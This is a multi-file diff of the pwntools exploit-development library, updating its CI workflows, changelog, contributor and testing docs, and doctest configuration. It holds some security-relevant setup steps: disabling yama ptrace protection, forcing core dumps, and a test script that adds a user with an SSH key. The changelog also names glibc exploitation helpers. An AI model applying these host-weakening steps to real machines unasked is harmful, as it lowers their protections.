python-version: ['3.10']
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
cache: 'pip'
cache-dependency-path: |
**/pyproject.toml
**/requirements*.txt
- name: Install Linux dependencies
run: |
sudo apt-get update
sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
gdb gdbserver socat \
qemu-user-static \
binutils-aarch64-linux-gnu \
binutils-arm-linux-gnueabihf \
libc6-dbg
- name: Cache for avd
uses: actions/cache@v4
id: cache-avd
with:
path: |
~/.android
/usr/local/lib/android/sdk/emulator
/usr/local/lib/android/sdk/platform-tools
/usr/local/lib/android/sdk/system-images
key: ${{ matrix.os }}-cache-avd-${{ hashFiles('travis/setup_avd*.sh') }}
restore-keys: |
${{ matrix.os }}-cache-avd-
- name: Install Android AVD
run: |
sudo usermod -aG kvm $USER
source travis/setup_avd_fast.sh
sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
set | grep ^PATH >.android.env
- name: Install dependencies
run: |
pip install --upgrade pip
python setup.py egg_info
pip install --upgrade --editable .
- name: Sanity checks
run: PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Coverage Doctests (Android Only)
run: |
source .android.env
PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst
+1 -1
View File
@@ -15,7 +15,7 @@ jobs:
runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v7
with:
fetch-depth: 0
+106 -48
View File
@@ -5,11 +5,8 @@ jobs:
test:
strategy:
matrix:
python_version: ['3.10', '3.12']
python_version: ['3.10', '3.12', '3.13', '3.14', '3.15']
os: [ubuntu-latest]
include:
- python_version: '2.7'
os: ubuntu-22.04
runs-on: ${{ matrix.os }}
timeout-minutes: 30
services:
@@ -29,7 +26,7 @@ jobs:
PWN_UBUNTU_ARCHIVE_URL: http://localhost:3002/
PWN_GITLAB_LIBCDB_URL: http://localhost:3003/
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v7
with:
fetch-depth: 20
@@ -37,7 +34,7 @@ jobs:
run: |
git fetch origin
git log --oneline --graph -10
- name: Fix libcdb-cache permissions
id: fix-perms
run: |
@@ -45,7 +42,7 @@ jobs:
echo "date=$(/bin/date -u "+%Y%m%d%H%M%S")" >> $GITHUB_OUTPUT
- name: Cache for libcdb requests
uses: actions/cache@v4
uses: actions/cache@v6
with:
path: ~/libcdb-cache
key: libcdb-python${{ matrix.python_version }}-${{ steps.fix-perms.outputs.date }}
@@ -67,18 +64,9 @@ jobs:
sudo apt-get update && sudo apt-get install -y python3-pip gdb gdbserver
/usr/bin/python -m pip install --break-system-packages rpyc || /usr/bin/python -m pip install rpyc
gdb --batch --quiet --nx --nh --ex 'py import rpyc; print(rpyc.version.version)'
- name: Cache for pip
uses: actions/cache@v4
if: matrix.python_version == '2.7'
with:
path: ~/.cache/pip
key: ${{ matrix.os }}-${{ matrix.python_version }}-cache-pip-${{ hashFiles('**/pyproject.toml', '**/requirements*.txt') }}
restore-keys: ${{ matrix.os }}-${{ matrix.python_version }}-cache-pip-
- name: Set up Python ${{ matrix.python_version }}
if: matrix.python_version != '2.7'
uses: actions/setup-python@v5
uses: actions/setup-python@v7
with:
python-version: ${{ matrix.python_version }}
cache: 'pip'
@@ -86,17 +74,6 @@ jobs:
**/pyproject.toml
**/requirements*.txt
- name: Set up Python 2.7
if: matrix.python_version == '2.7'
run: |
sudo apt-get update
sudo apt-get install -y \
python2.7 python2.7-dev python2-pip-whl
sudo ln -sf python2.7 /usr/bin/python
export PYTHONPATH=`echo /usr/share/python-wheels/pip-*py2*.whl`
sudo --preserve-env=PYTHONPATH python -m pip install --upgrade pip setuptools wheel
sudo chown -R $USER /usr/local/lib/python2.7
- name: Verify tag against version
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
@@ -127,18 +104,20 @@ jobs:
binutils-s390x-linux-gnu \
binutils-sparc64-linux-gnu \
binutils-riscv64-linux-gnu \
binutils-loongarch64-linux-gnu \
gcc-multilib \
libc6-dbg \
elfutils \
patchelf
# Print diagnostics to help when Corefile doctests fail.
- name: Testing Corefiles
run: |
ulimit -a
ulimit -c unlimited
cat /proc/sys/kernel/core_pattern
cat /proc/sys/kernel/core_uses_pid
( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core*) || true
( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core* || coredumpctl list sh) || true
- name: Set up SSH
run: |
@@ -154,15 +133,13 @@ jobs:
pip install 'unicorn==2.1.2'
- name: Sanity checks
run: PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
run: |
PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
python -c "import hashlib; assert hashlib.algorithms_guaranteed == {'sha256', 'blake2s', 'sha3_384', 'shake_256', 'sha1', 'md5', 'shake_128', 'sha224', 'sha512', 'blake2b', 'sha3_512', 'sha3_224', 'sha3_256', 'sha384'}"
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Manually install non-broken Unicorn
if: matrix.python_version == '2.7'
run: pip install unicorn==2.0.0rc7
- name: Disable yama ptrace_scope
run: |
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
@@ -248,38 +225,106 @@ jobs:
pwn libcdb hash b229d1da1e161f95e839cf90cded5f719e5de308
- name: Build source and wheel distributions
if: matrix.python_version != '2.7'
run: |
python -m build
- uses: actions/upload-artifact@v4
- uses: actions/upload-artifact@v7
if: matrix.python_version == '3.10'
with:
name: packages
path: dist/
include-hidden-files: true
- uses: actions/upload-artifact@v4
- uses: actions/upload-artifact@v7
with:
name: coverage-${{ matrix.python_version }}
path: .coverage*
include-hidden-files: true
- name: Fix libcdb-cache permissions
run: |
container_id=$(docker ps --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
docker stop $container_id
sudo chown -R runner:runner /home/runner/libcdb-cache
windows-test:
runs-on: windows-latest
android-test:
runs-on: ubuntu-latest
timeout-minutes: 30
continue-on-error: true
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v7
- name: Set up Python 3.12
uses: actions/setup-python@v5
uses: actions/setup-python@v7
with:
python-version: '3.12'
cache: 'pip'
cache-dependency-path: |
**/pyproject.toml
**/requirements*.txt
- name: Install Linux dependencies
run: |
sudo apt-get update
sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
gdb gdbserver socat \
qemu-user-static \
binutils-aarch64-linux-gnu \
binutils-arm-linux-gnueabihf \
libc6-dbg
- name: Cache for avd
uses: actions/cache@v6
id: cache-avd
with:
path: |
~/.android
/usr/local/lib/android/sdk/emulator
/usr/local/lib/android/sdk/platform-tools
/usr/local/lib/android/sdk/system-images
key: ${{ matrix.os }}-cache-avd-${{ hashFiles('travis/setup_avd*.sh') }}
restore-keys: |
${{ matrix.os }}-cache-avd-
- name: Install Android AVD
run: |
sudo usermod -aG kvm $USER
source travis/setup_avd_fast.sh
sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
set | grep ^PATH >.android.env
- name: Install dependencies
run: |
pip install --upgrade pip
pip install --upgrade wheel build
pip install --upgrade flake8 appdirs
pip install --upgrade --editable .
- name: Sanity checks
run: PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Coverage Doctests (Android Only)
run: |
source .android.env
PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst
- uses: actions/upload-artifact@v7
with:
name: coverage-android
path: .coverage*
include-hidden-files: true
windows-test:
runs-on: windows-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v7
- name: Set up Python 3.12
uses: actions/setup-python@v7
with:
python-version: '3.12'
@@ -288,20 +333,33 @@ jobs:
pip install --upgrade pip
pip install --upgrade --editable .
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Sanity checks
run: |
python -bb -c 'from pwn import *'
python -bb examples/text.py
- name: Coverage doctests
run: |
python -bb -m coverage run -m sphinx -b doctest docs/source docs/build/doctest
- uses: actions/upload-artifact@v7
with:
name: coverage-windows
path: .coverage*
include-hidden-files: true
upload-coverage:
runs-on: ubuntu-latest
needs: test
needs: [test, android-test, windows-test]
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v7
with:
fetch-depth: 20
- uses: actions/download-artifact@v4
- uses: actions/download-artifact@v8
with:
pattern: coverage-*
merge-multiple: true
@@ -321,7 +379,7 @@ jobs:
if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
needs: test
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v7
with:
fetch-depth: 20
- name: Push changes to protected branch
@@ -343,7 +401,7 @@ jobs:
needs: test
steps:
- name: Download artifacts
uses: actions/download-artifact@v4
uses: actions/download-artifact@v8
with:
name: packages
path: dist
+7 -7
View File
@@ -13,16 +13,16 @@ jobs:
steps:
# Required for subdirectories in Git context
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_PASSWORD }}
- name: Build and push base image
uses: docker/build-push-action@v6
uses: docker/build-push-action@v7
if: github.event_name == 'workflow_dispatch'
with:
context: "{{defaultContext}}:extra/docker/base"
@@ -30,7 +30,7 @@ jobs:
tags: pwntools/pwntools:base
- name: Build and push stable image
uses: docker/build-push-action@v6
uses: docker/build-push-action@v7
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/stable')
with:
context: "{{defaultContext}}:extra/docker/stable"
@@ -38,7 +38,7 @@ jobs:
tags: pwntools/pwntools:stable
- name: Build and push beta image
uses: docker/build-push-action@v6
uses: docker/build-push-action@v7
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/beta')
with:
context: "{{defaultContext}}:extra/docker/beta"
@@ -46,7 +46,7 @@ jobs:
tags: pwntools/pwntools:beta
- name: Build and push dev image
uses: docker/build-push-action@v6
uses: docker/build-push-action@v7
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
with:
context: "{{defaultContext}}:extra/docker/dev"
@@ -56,7 +56,7 @@ jobs:
pwntools/pwntools:latest
- name: Build and push ci image
uses: docker/build-push-action@v6
uses: docker/build-push-action@v7
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
with:
context: "{{defaultContext}}:travis/docker"
+12 -2
View File
@@ -10,10 +10,10 @@ jobs:
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v7
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v5
uses: actions/setup-python@v7
with:
python-version: ${{ matrix.python-version }}
cache: 'pip'
@@ -31,3 +31,13 @@ jobs:
flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'
flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'
- name: Minimum Python version check
run: |
pip install vermin
vermin -vvv --no-tips -t=3.10- --violations ./pwnlib ./pwn
- name: MyPy type hint baseline
run: |
pip install -U . --group dev
mypy | mypy-baseline filter
+1 -1
View File
@@ -13,7 +13,7 @@ jobs:
runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v7
with:
fetch-depth: 0
+2 -2
View File
@@ -10,10 +10,10 @@ jobs:
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v7
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v5
uses: actions/setup-python@v7
with:
python-version: ${{ matrix.python-version }}
cache: 'pip'
+114 -3
View File
@@ -10,7 +10,7 @@ The table below shows which release corresponds to each branch, and what date th
| Version | Branch | Release Date |
| ---------------- | -------- | ---------------------- |
| [5.0.0](#500-dev) | `dev` |
| [4.15.0](#4150-stable) | `stable` | Oct 12, 2025
| [4.15.0](#4150-stable) | `stable` | Oct 12, 2025
| [4.14.1](#4141) | | Mar 24, 2025
| [4.14.0](#4140) | | Jan 15, 2025
| [4.13.1](#4131) | | Sep 29, 2024
@@ -75,6 +75,20 @@ The table below shows which release corresponds to each branch, and what date th
## 5.0.0 (`dev`)
- [#2798][2798] fix(flag, adb): NameError in `submit_flag` with a flag file and in `Kernel.enable_uart`
- [#2780][2780] fix(encoders): handle unavailable xor encodings and fallback
- [#2789][2789] feat(errno): support `-c/--context` to look up errno values for other architectures
- [#2784][2784] docs: put plain doctest blocks in the default group for Sphinx 9
- [#2762][2762] fix(srop): correct amd64 SigreturnFrame `uc_sigmask` offset
- [#2753][2753] docs(args): clarify reserved args (DEBUG/NOASLR) map to context, not args
- [#2740][2740] setup: install docs to FHS-compliant share/doc/pwntools
- [#2739][2739] shellcraft: migrate lazy importer to find_spec for Python 3.12+
- [#2725][2725] feat(libcdb): add extra_mirrors arg + PWNLIB_EXTRA_LIBC_MIRRORS env to download_libraries
- [#2677][2677] refactor: replace unsafe eval with safeeval.const in ROP cache loading
- [#2675][2675] feat(term): add zellij support
- [#2652][2652] Make setting the context.terminal to kitty more user friendly
- [#2638][2638] feat: add disable_corefiles context option
- [#2627][2627] remove pwnlib.util.iters.lookahead (broken anyway)
- [#2598][2598] aarch64: Fix ABI definition
- [#2419][2419] riscv: avoid compressed instructions (if you need compressed, use .option rvc)
- [#2551][2551] Detect when kitty is being used as terminal
@@ -97,11 +111,59 @@ The table below shows which release corresponds to each branch, and what date th
- [#2496][2496] Add linux ko file search support
- [#2542][2542] Decode `_IO_*` flags in `FileStructure` member
- [#2592][2592] pwnlib.config: Fix customization of `context.timeout`
- [#2606][2606] Improve error of `process.maps()` after the process exited
- [#2608][2608] Abort on `libcdb file libc.so --unstrip` if eu-unstrip is not installed
- [#2611][2611] Cleanup `pwnlib.lexer` exports and imports
- [#2610][2610] Fix `log.progress` ignoring `context.log_console`
- [#2615][2615] tube/process: Fix redirecting stderr to stdout on Windows
- [#2639][2639] ROP: Remove stdout and argv workaround in ROPgadget invocation
- [#2630][2630] support `preexec_fn` in `debug()`
- [#2641][2641] support preexec_args in process
- [#2646][2646] fix(libcdb-cli): return early if no matched libc found
- [#2629][2629] Add `terminate()` method to process class that sends SIGTERM
- [#2643][2643] Refactor getdents.py, add support for SYS_getdents64
- [#2647][2647] packing: Add `overlap` to overlap structures easily
- [#2669][2669] asm: try native binutils before fallback architectures
- [#2673][2673] Add libc module for libc-related functions
- [#2679][2679] Add type hints to parts of pwnlib.utils
- [#2680][2680] Cleanup Python 2 legacy
- [#2683][2683] libc: add atexit functions for glibc exploits
- [#2687][2687] Add (un)pack shorthands for 40-56 bit numbers `u48()`/`p48()`
- [#2699][2699] Fix `tty` and `raw` arguments in `ssh.process()`
- [#2682][2682] Fix `server.close()` not closing the listen socket
- [#2671][2671] ssh: support raw string input for 'key' argument as documented
- [#2688][2688] Close SSH client connection when authentication failed
- [#2686][2686] Add glibc safe-linking `glibc.reveal_ptr_same_page`
- [#2706][2706] doc: Update `run_in_new_terminal` docstring with new overrides
- [#2704][2704] ssh: Fix distro lookup on Ubuntu 24.04
- [#2655][2655] Add `context.debugger` to select which debugger to use
- [#2689][2689] Refactor zsh completion script and deprecate `-e` in `pwn asm`
- [#2713][2713] Remove python-dateutil dependency
- [#2720][2720] ssh: resolve PermissionError on Windows during SFTP upload
- [#2702][2702] ssh: Don't cache username in ssh checksec output
- [#2722][2722] safeeval: allow LIST_APPEND and SET_ADD opcodes (Python 3.14)
- [#2730][2730] Fix atexception handlers in term mode
- [#2732][2732] ssh: fix `ssh.which` returns None for POSIX paths when running on Windows
- [#2733][2733] loongarch64: fix incorrect mov assembly template
- [#2741][2741] memleak: add opt-in persistent leak cache
- [#2743][2743] fix(adb): add missing import for remote to fix NameError hidden by bare except
- [#2746][2746] elf: point people at libc_start_main_return when they look up __libc_start_main_ret
- [#2734][2734] ROP: Add labels to reference addresses relative to your chain
- [#2735][2735] Add support for debugging with x64dbg on Windows
- [#2767][2767] Support paginated libc.rip API requests to include all search results
- [#2726][2726] feat(libcdb): use local debuginfod client cache before hitting servers
- [#2768][2768] docs: Added the homebrew workaround in documentation needed for macOS users
- [#2769][2769] Use standard library (PEP-784) for Zstandard decompression
- [#2750][2750] Fix DeprecationWarning with remote(ssl=True), checking remote certificates now
- [#2761][2761] fix: don't truncate the last byte of `FileStructure.struntil`
- [#2727][2727] feat(cli): add 'pwn errno --list' + perror-string lookup
- [#2792][2792] Fix deprecation warning for not using `RLIM_INFINITY` in `resource.setrlimit` (Python 3.15)
[2784]: https://github.com/Gallopsled/pwntools/pull/2784
[2675]: https://github.com/Gallopsled/pwntools/pull/2675
[2652]: https://github.com/Gallopsled/pwntools/pull/2652
[2638]: https://github.com/Gallopsled/pwntools/pull/2638
[2627]: https://github.com/Gallopsled/pwntools/pull/2627
[2598]: https://github.com/Gallopsled/pwntools/pull/2598
[2419]: https://github.com/Gallopsled/pwntools/pull/2419
[2551]: https://github.com/Gallopsled/pwntools/pull/2551
@@ -124,10 +186,61 @@ The table below shows which release corresponds to each branch, and what date th
[2496]: https://github.com/Gallopsled/pwntools/pull/2496
[2542]: https://github.com/Gallopsled/pwntools/pull/2542
[2592]: https://github.com/Gallopsled/pwntools/pull/2592
[2606]: https://github.com/Gallopsled/pwntools/pull/2606
[2608]: https://github.com/Gallopsled/pwntools/pull/2608
[2611]: https://github.com/Gallopsled/pwntools/pull/2611
[2610]: https://github.com/Gallopsled/pwntools/pull/2610
[2615]: https://github.com/Gallopsled/pwntools/pull/2615
[2639]: https://github.com/Gallopsled/pwntools/pull/2639
[2630]: https://github.com/Gallopsled/pwntools/pull/2630
[2641]: https://github.com/Gallopsled/pwntools/pull/2641
[2646]: https://github.com/Gallopsled/pwntools/pull/2646
[2629]: https://github.com/Gallopsled/pwntools/pull/2629
[2643]: https://github.com/Gallopsled/pwntools/pull/2643
[2647]: https://github.com/Gallopsled/pwntools/pull/2647
[2669]: https://github.com/Gallopsled/pwntools/pull/2669
[2673]: https://github.com/Gallopsled/pwntools/pull/2673
[2679]: https://github.com/Gallopsled/pwntools/pull/2679
[2680]: https://github.com/Gallopsled/pwntools/pull/2680
[2683]: https://github.com/Gallopsled/pwntools/pull/2683
[2687]: https://github.com/Gallopsled/pwntools/pull/2687
[2699]: https://github.com/Gallopsled/pwntools/pull/2699
[2682]: https://github.com/Gallopsled/pwntools/pull/2682
[2671]: https://github.com/Gallopsled/pwntools/pull/2671
[2688]: https://github.com/Gallopsled/pwntools/pull/2688
[2686]: https://github.com/Gallopsled/pwntools/pull/2686
[2704]: https://github.com/Gallopsled/pwntools/pull/2704
[2655]: https://github.com/Gallopsled/pwntools/pull/2655
[2677]: https://github.com/Gallopsled/pwntools/pull/2677
[2689]: https://github.com/Gallopsled/pwntools/pull/2689
[2713]: https://github.com/Gallopsled/pwntools/pull/2713
[2720]: https://github.com/Gallopsled/pwntools/pull/2720
[2702]: https://github.com/Gallopsled/pwntools/pull/2702
[2722]: https://github.com/Gallopsled/pwntools/pull/2722
[2725]: https://github.com/Gallopsled/pwntools/pull/2725
[2730]: https://github.com/Gallopsled/pwntools/pull/2730
[2732]: https://github.com/Gallopsled/pwntools/pull/2732
[2733]: https://github.com/Gallopsled/pwntools/pull/2733
[2739]: https://github.com/Gallopsled/pwntools/pull/2739
[2740]: https://github.com/Gallopsled/pwntools/pull/2740
[2741]: https://github.com/Gallopsled/pwntools/pull/2741
[2743]: https://github.com/Gallopsled/pwntools/pull/2743
[2746]: https://github.com/Gallopsled/pwntools/pull/2746
[2734]: https://github.com/Gallopsled/pwntools/pull/2734
[2735]: https://github.com/Gallopsled/pwntools/pull/2735
[2753]: https://github.com/Gallopsled/pwntools/pull/2753
[2762]: https://github.com/Gallopsled/pwntools/pull/2762
[2767]: https://github.com/Gallopsled/pwntools/pull/2767
[2726]: https://github.com/Gallopsled/pwntools/pull/2726
[2768]: https://github.com/Gallopsled/pwntools/pull/2768
[2769]: https://github.com/Gallopsled/pwntools/pull/2769
[2780]: https://github.com/Gallopsled/pwntools/pull/2780
[2789]: https://github.com/Gallopsled/pwntools/pull/2789
[2750]: https://github.com/Gallopsled/pwntools/pull/2750
[2761]: https://github.com/Gallopsled/pwntools/pull/2761
[2727]: https://github.com/Gallopsled/pwntools/pull/2727
[2792]: https://github.com/Gallopsled/pwntools/pull/2792
[2798]: https://github.com/Gallopsled/pwntools/pull/2798
## 4.15.1
@@ -137,7 +250,6 @@ The table below shows which release corresponds to each branch, and what date th
- [#2773][2773] Disable debuginfod doctests in libcdb.unstrip_libc
- [#2772][2772] fix(packing): `dd()` no longer crashes on a `bytearray` destination
- [#2787][2787] gdb.corefile: Run gdb directly to prevent detach race
- [#2795][2795] regsort: Fix self-assignment detection through register aliases
[2694]: https://github.com/Gallopsled/pwntools/pull/2694
[2701]: https://github.com/Gallopsled/pwntools/pull/2701
@@ -145,7 +257,6 @@ The table below shows which release corresponds to each branch, and what date th
[2773]: https://github.com/Gallopsled/pwntools/pull/2773
[2772]: https://github.com/Gallopsled/pwntools/pull/2772
[2787]: https://github.com/Gallopsled/pwntools/pull/2787
[2795]: https://github.com/Gallopsled/pwntools/pull/2795
## 4.15.0 (`stable`)
+34 -9
View File
@@ -2,32 +2,57 @@
Github has a great guide for contributing to open source projects:
- [Contributing to a project](https://guides.github.com/activities/forking/)
- [Fork the repository](https://guides.github.com/activities/forking/#fork)
- [Clone your fork](https://guides.github.com/activities/forking/#clone)
- [Making and pushing changes](https://guides.github.com/activities/forking/#making-changes)
- [Making a Pull Request](https://guides.github.com/activities/forking/#making-a-pull-request)
- [Huzzah!](https://guides.github.com/activities/forking/#huzzah)
- [Contributing to a project](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project)
- [Fork the repository](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#creating-your-own-copy-of-a-project)
- [Clone your fork](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#cloning-a-fork-to-your-computer)
- [Creating a branch to work on](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#creating-a-branch-to-work-on)
- [Making and pushing changes](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#making-and-pushing-changes)
- [Making a Pull Request](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#making-a-pull-request)
## pwntools Specifics
In general, we like to keep things documented. You should add documentation to any new functionality, and update it for any changed functionality. Our docstrings use the [Google Style Python Docstrings](https://sphinxcontrib-napoleon.readthedocs.org/en/latest/example_google.html#example-google).
After you have documentation, you should add a [doctest](https://docs.python.org/2/library/doctest.html).
After you have documentation, you should add a [doctest](https://docs.python.org/3/library/doctest.html).
Finally, it is probably a good idea to run the test suite locally before doing
the pull-request to make sure everything works, however this is not a
requirement.
requirement. See the [TESTING](TESTING.md) documentation on how to do that.
Once you are ready to do a pull-request, you should figure out if your changes
constitutes a new feature or a bugfix in stable or beta. If it is a bugfix in
stable or beta, you should do the pull-request against the branch in question,
and otherwise your pull-request should be against the dev branch.
Once you do the pull-request Travis CI will run the test-suite on it. Once it
Once you do the pull-request Github Actions will run the test-suite on it. Once it
passes one of the core developers will look at your pull request, possibly
comment on it and then hopefully merge it into the branch in question.
## Python Type Hints
Since Pwntools 5 dropped support for Python 2, type hints are added gradually to the existing code base.
[Type hints in Python](https://typing.python.org/en/latest/spec/index.html) allow static analysis tools and IDEs to help catch errors and provide a better developer
experience without running the code.
New code should include type hints where applicable and shouldn't add new type warnings.
You can use [this cheat sheet](https://mypy.readthedocs.io/en/stable/cheat_sheet_py3.html) as a reference for the type hint syntax.
Pwntools uses [mypy](https://mypy.readthedocs.io/en/stable/index.html) as a static type checker. Instead of trying to
introduce type hints everywhere at once, Pwntools uses [mypy-baseline](https://mypy-baseline.orsinium.dev/usage) to gradually reduce the number of problems over time.
To run the type checker locally, you can install Pwntools with the `dev` extra and check for new errors (`--group dev` requires pip 25.1+):
```shell
$ pip install -U . --group dev
$ mypy | mypy-baseline filter
```
If you fixed some problems, you can update the list of known errors in `mypy-baseline.txt` using
```shell
$ mypy | mypy-baseline sync --sort-baseline
```
## Automated Testing
Pull requests against Pwntools require at a minimum that no tests have been broken, and ideally each pull request will include new tests to ensure that all of the functionality works as intended.
+2 -2
View File
@@ -32,9 +32,9 @@ To get you started, we've provided some example solutions for past CTF challenge
# Installation
Pwntools is best supported on 64-bit Ubuntu LTS releases (18.04, 20.04, 22.04, and 24.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
Pwntools is best supported on 64-bit Ubuntu LTS releases (22.04 and 24.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
Python3 is suggested, but Pwntools still works with Python 2.7. Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
Pwntools supports Python 3.10+ since version 5.0.0. Use Pwntools 4.x for older versions as well as Python 2.7. Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
```sh
sudo apt-get update
+9 -2
View File
@@ -4,18 +4,25 @@ Pwntools makes extensive use of unit tests and integration tests to ensure every
## Test Suite
To run the test suite, it is best to use Ubuntu 12.04 or 14.04, and run the following commands. **Be aware** that this will add a user to the machine, and create a public key for SSH login!
To run the test suite, it is best to use Ubuntu 22.04 or 24.04, and run the following commands. **Be aware** that this will add a user to the machine, and create a public key for SSH login!
```sh
bash travis/install.sh
bash travis/ssh_setup.sh
pip install --upgrade --editable .
pip install --upgrade -r docs/requirements.txt
PWNLIB_NOTERM=1 make -C docs doctest
```
You can run doctests for a single file for faster iteration:
```sh
PWNLIB_NOTERM=1 python -m sphinx -b doctest docs/source docs/build/doctest docs/source/elf/elf.rst
```
## Testing in Docker
A `Dockerfile` has been provided which has a clean testing environment with Ubuntu Xenial. It is very similar to the online Travis CI testing environment, but uses a more modern version of Ubuntu.
A `Dockerfile` has been provided which has a clean testing environment with Ubuntu Noble. It is very similar to the online Github Actions CI testing environment.
See `travis/docker/README.md` for more information.
+3 -8
View File
@@ -1,16 +1,12 @@
capstone
coverage[toml]
python-dateutil
doc2dash
docutils<0.18; python_version<'3'
docutils>=0.18; python_version>='3'
docutils>=0.18
intervaltree
isort
mako>=1.0.0
paramiko>=1.15.2
pip>=6.0.8
pyelftools>=0.29, <0.30; python_version<'3'
pyelftools>=0.29; python_version>='3'
pyelftools>=0.32
pygments>=2.0
pypandoc
pyserial>=2.7
@@ -18,7 +14,6 @@ pysocks
psutil
requests>=2.5.1
ropgadget>=5.3
sphinx==1.8.6; python_version<'3'
sphinx>=8.1.3, <9; python_version>='3'
sphinx>=8.1.3, <9
sphinx_rtd_theme
sphinxcontrib-autoprogram<=0.1.5
+3
View File
@@ -4,6 +4,9 @@
from pwn import *
adb = pwnlib.adb
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.adb` --- Android Debug Bridge
=====================================================
+4
View File
@@ -4,6 +4,10 @@
import subprocess
from pwn import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.asm` --- Assembler functions
=========================================
+4
View File
@@ -1,3 +1,7 @@
.. testsetup:: *
from pwnlib import atexception
:mod:`pwnlib.atexception` --- Callbacks on unhandled exception
==============================================================
+6 -1
View File
@@ -5,7 +5,8 @@
.. testcleanup:: *
context.defaults.copy = old
context.defaults.clear()
context.defaults.update(old)
Command Line Tools
========================
@@ -18,3 +19,7 @@ If these tools do not appear to be installed, make sure that you have added ``~/
.. autoprogram:: pwnlib.commandline.main:parser
:prog: pwn
.. only:: doctest
.. automodule:: pwnlib.commandline.errno
+107 -58
View File
@@ -1,5 +1,3 @@
# -*- coding: utf-8 -*-
#
# pwntools documentation build configuration file, created by
# sphinx-quickstart on Wed May 28 15:00:52 2014.
#
@@ -14,9 +12,9 @@
import os
import doctest
import signal
import six
import subprocess
import sys
from datetime import datetime, timezone
build_dash = tags.has('dash')
@@ -71,7 +69,6 @@ doctest_global_setup = '''
import sys, os
os.environ['PWNLIB_NOTERM'] = '1'
os.environ['PWNLIB_RANDOMIZE'] = '0'
import six
import pwnlib.update
import pwnlib.util.fiddling
import logging
@@ -88,7 +85,7 @@ pwnlib.log.rootlogger.setLevel(1)
# Sphinx modifies sys.stdout, and context.log_terminal has
# a reference to the original instance. We need to update
# it for logging to be captured.
class stdout(object):
class stdout:
def __getattr__(self, name):
return getattr(sys.stdout, name)
def __setattr__(self, name, value):
@@ -99,7 +96,6 @@ github_actions = os.environ.get('USER') == 'runner'
travis_ci = os.environ.get('USER') == 'travis'
local_doctest = os.environ.get('USER') == 'pwntools'
skip_android = True
is_python2 = six.PY2
'''
autoclass_content = 'both'
